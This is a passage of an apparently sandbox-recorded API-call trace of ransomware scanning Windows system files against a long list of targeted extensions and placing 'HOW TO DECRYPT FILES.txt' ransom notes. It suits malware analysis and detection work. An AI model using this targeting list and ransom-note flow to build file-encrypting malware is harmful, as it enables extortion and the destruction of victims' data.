pszSpec="*.asm") returned 0 [0101.345] lstrlenA (lpString="*.asm") returned 5 [0101.345] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.pfx") returned 0 [0101.345] lstrlenA (lpString="*.pfx") returned 5 [0101.345] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.pem") returned 0 [0101.345] lstrlenA (lpString="*.pem") returned 5 [0101.345] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.p12") returned 0 [0101.345] lstrlenA (lpString="*.p12") returned 5 [0101.345] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.gpg") returned 0 [0101.345] lstrlenA (lpString="*.gpg") returned 5 [0101.345] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.vsd") returned 0 [0101.345] lstrlenA (lpString="*.vsd") returned 5 [0101.345] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.odg") returned 0 [0101.345] lstrlenA (lpString="*.odg") returned 5 [0101.346] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.raw") returned 0 [0101.346] lstrlenA (lpString="*.raw") returned 5 [0101.346] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.nef") returned 0 [0101.346] lstrlenA (lpString="*.nef") returned 5 [0101.346] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.svg") returned 0 [0101.346] lstrlenA (lpString="*.svg") returned 5 [0101.346] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.psd") returned 0 [0101.346] lstrlenA (lpString="*.psd") returned 5 [0101.346] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.vmx") returned 0 [0101.346] lstrlenA (lpString="*.vmx") returned 5 [0101.346] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.vmdk") returned 0 [0101.346] lstrlenA (lpString="*.vmdk") returned 6 [0101.346] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.vdi") returned 0 [0101.346] lstrlenA (lpString="*.vdi") returned 5 [0101.346] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.lay6") returned 0 [0101.346] lstrlenA (lpString="*.lay6") returned 6 [0101.346] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.mpeg") returned 0 [0101.346] lstrlenA (lpString="*.mpeg") returned 6 [0101.346] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.djvu") returned 0 [0101.346] lstrlenA (lpString="*.djvu") returned 6 [0101.346] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.tiff") returned 0 [0101.346] lstrlenA (lpString="*.tiff") returned 6 [0101.346] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.backup") returned 0 [0101.347] lstrlenA (lpString="*.backup") returned 8 [0101.347] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.pdf") returned 0 [0101.347] lstrlenA (lpString="*.pdf") returned 5 [0101.347] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.cert") returned 0 [0101.347] lstrlenA (lpString="*.cert") returned 6 [0101.347] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.docm") returned 0 [0101.347] lstrlenA (lpString="*.docm") returned 6 [0101.347] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.xlsm") returned 0 [0101.347] lstrlenA (lpString="*.xlsm") returned 6 [0101.347] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.dwg") returned 0 [0101.347] lstrlenA (lpString="*.dwg") returned 5 [0101.347] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.nd") returned 0 [0101.347] lstrlenA (lpString="*.nd") returned 4 [0101.347] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.tlg") returned 0 [0101.347] lstrlenA (lpString="*.tlg") returned 5 [0101.347] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.lgb") returned 0 [0101.347] lstrlenA (lpString="*.lgb") returned 5 [0101.347] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.mov") returned 0 [0101.347] lstrlenA (lpString="*.mov") returned 5 [0101.347] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.xdw") returned 0 [0101.347] lstrlenA (lpString="*.xdw") returned 5 [0101.347] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.ods") returned 0 [0101.347] lstrlenA (lpString="*.ods") returned 5 [0101.347] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.wav") returned 0 [0101.348] lstrlenA (lpString="*.wav") returned 5 [0101.348] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.mp3") returned 0 [0101.348] lstrlenA (lpString="*.mp3") returned 5 [0101.348] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.aiff") returned 0 [0101.348] lstrlenA (lpString="*.aiff") returned 6 [0101.348] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.flac") returned 0 [0101.348] lstrlenA (lpString="*.flac") returned 6 [0101.348] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.m4a") returned 0 [0101.348] lstrlenA (lpString="*.m4a") returned 5 [0101.348] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.csv") returned 0 [0101.348] lstrlenA (lpString="*.csv") returned 5 [0101.348] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81ec4740, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81ec4740, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81ec4740, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.6.0.Microsoft.MediaCenter.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0101.348] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.348] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.6.0.Microsoft.MediaCenter.dll") returned -1 [0101.348] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.6.0.Microsoft.MediaCenter.dll") returned -1 [0101.348] lstrcmpiA (lpString1="", lpString2="Policy.6.0.Microsoft.MediaCenter.dll") returned -1 [0101.348] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config") returned="Policy.6.0.Microsoft.MediaCenter.config" [0101.348] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\" [0101.348] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\") returned="" [0101.348] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0101.348] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.6.0.microsoft.mediacenter\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0x20 [0101.348] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\", lpString2="Policy.6.0.Microsoft.MediaCenter.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll" [0101.348] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.ems") returned 0 [0101.349] lstrlenA (lpString="*.ems") returned 5 [0101.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.db") returned 0 [0101.349] lstrlenA (lpString="*.db") returned 4 [0101.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.dbf") returned 0 [0101.349] lstrlenA (lpString="*.dbf") returned 5 [0101.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.myox") returned 0 [0101.349] lstrlenA (lpString="*.myox") returned 6 [0101.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.myo") returned 0 [0101.349] lstrlenA (lpString="*.myo") returned 5 [0101.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.qbw") returned 0 [0101.349] lstrlenA (lpString="*.qbw") returned 5 [0101.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.qbb") returned 0 [0101.349] lstrlenA (lpString="*.qbb") returned 5 [0101.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.qbm") returned 0 [0101.349] lstrlenA (lpString="*.qbm") returned 5 [0101.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.qbo") returned 0 [0101.349] lstrlenA (lpString="*.qbo") returned 5 [0101.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.qbx") returned 0 [0101.349] lstrlenA (lpString="*.qbx") returned 5 [0101.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.qba") returned 0 [0101.349] lstrlenA (lpString="*.qba") returned 5 [0101.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.qby") returned 0 [0101.349] lstrlenA (lpString="*.qby") returned 5 [0101.350] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.qbj") returned 0 [0101.350] lstrlenA (lpString="*.qbj") returned 5 [0101.350] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.ofx") returned 0 [0101.350] lstrlenA (lpString="*.ofx") returned 5 [0101.350] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.qif") returned 0 [0101.350] lstrlenA (lpString="*.qif") returned 5 [0101.350] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.mye") returned 0 [0101.350] lstrlenA (lpString="*.mye") returned 5 [0101.350] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.mbox") returned 0 [0101.350] lstrlenA (lpString="*.mbox") returned 6 [0101.350] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.eml") returned 0 [0101.350] lstrlenA (lpString="*.eml") returned 5 [0101.350] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.pst") returned 0 [0101.350] lstrlenA (lpString="*.pst") returned 5 [0101.350] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.ost") returned 0 [0101.350] lstrlenA (lpString="*.ost") returned 5 [0101.350] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.idx") returned 0 [0101.350] lstrlenA (lpString="*.idx") returned 5 [0101.351] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.dbx") returned 0 [0101.351] lstrlenA (lpString="*.dbx") returned 5 [0101.351] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.sql") returned 0 [0101.351] lstrlenA (lpString="*.sql") returned 5 [0101.351] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.mdb") returned 0 [0101.351] lstrlenA (lpString="*.mdb") returned 5 [0101.351] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.fdb") returned 0 [0101.351] lstrlenA (lpString="*.fdb") returned 5 [0101.351] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.wab") returned 0 [0101.351] lstrlenA (lpString="*.wab") returned 5 [0101.351] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.dat") returned 0 [0101.351] lstrlenA (lpString="*.dat") returned 5 [0101.351] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.txt") returned 0 [0101.351] lstrlenA (lpString="*.txt") returned 5 [0101.351] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.jpeg") returned 0 [0101.351] lstrlenA (lpString="*.jpeg") returned 6 [0101.351] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.jpg") returned 0 [0101.351] lstrlenA (lpString="*.jpg") returned 5 [0101.351] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.png") returned 0 [0101.352] lstrlenA (lpString="*.png") returned 5 [0101.352] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.php") returned 0 [0101.352] lstrlenA (lpString="*.php") returned 5 [0101.352] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.cs") returned 0 [0101.352] lstrlenA (lpString="*.cs") returned 4 [0101.352] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.cpp") returned 0 [0101.352] lstrlenA (lpString="*.cpp") returned 5 [0101.352] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.rar") returned 0 [0101.352] lstrlenA (lpString="*.rar") returned 5 [0101.352] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.zip") returned 0 [0101.352] lstrlenA (lpString="*.zip") returned 5 [0101.352] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.html") returned 0 [0101.352] lstrlenA (lpString="*.html") returned 6 [0101.352] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.htm") returned 0 [0101.352] lstrlenA (lpString="*.htm") returned 5 [0101.352] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.xlsx") returned 0 [0101.352] lstrlenA (lpString="*.xlsx") returned 6 [0101.352] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.xls") returned 0 [0101.352] lstrlenA (lpString="*.xls") returned 5 [0101.352] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.mp4") returned 0 [0101.352] lstrlenA (lpString="*.mp4") returned 5 [0101.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.ppt") returned 0 [0101.353] lstrlenA (lpString="*.ppt") returned 5 [0101.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.pptx") returned 0 [0101.353] lstrlenA (lpString="*.pptx") returned 6 [0101.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.doc") returned 0 [0101.353] lstrlenA (lpString="*.doc") returned 5 [0101.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.dot") returned 0 [0101.353] lstrlenA (lpString="*.dot") returned 5 [0101.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.docx") returned 0 [0101.353] lstrlenA (lpString="*.docx") returned 6 [0101.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.7z") returned 0 [0101.353] lstrlenA (lpString="*.7z") returned 4 [0101.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.tar") returned 0 [0101.353] lstrlenA (lpString="*.tar") returned 5 [0101.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.dll", pszSpec="*.bz2") returned 0 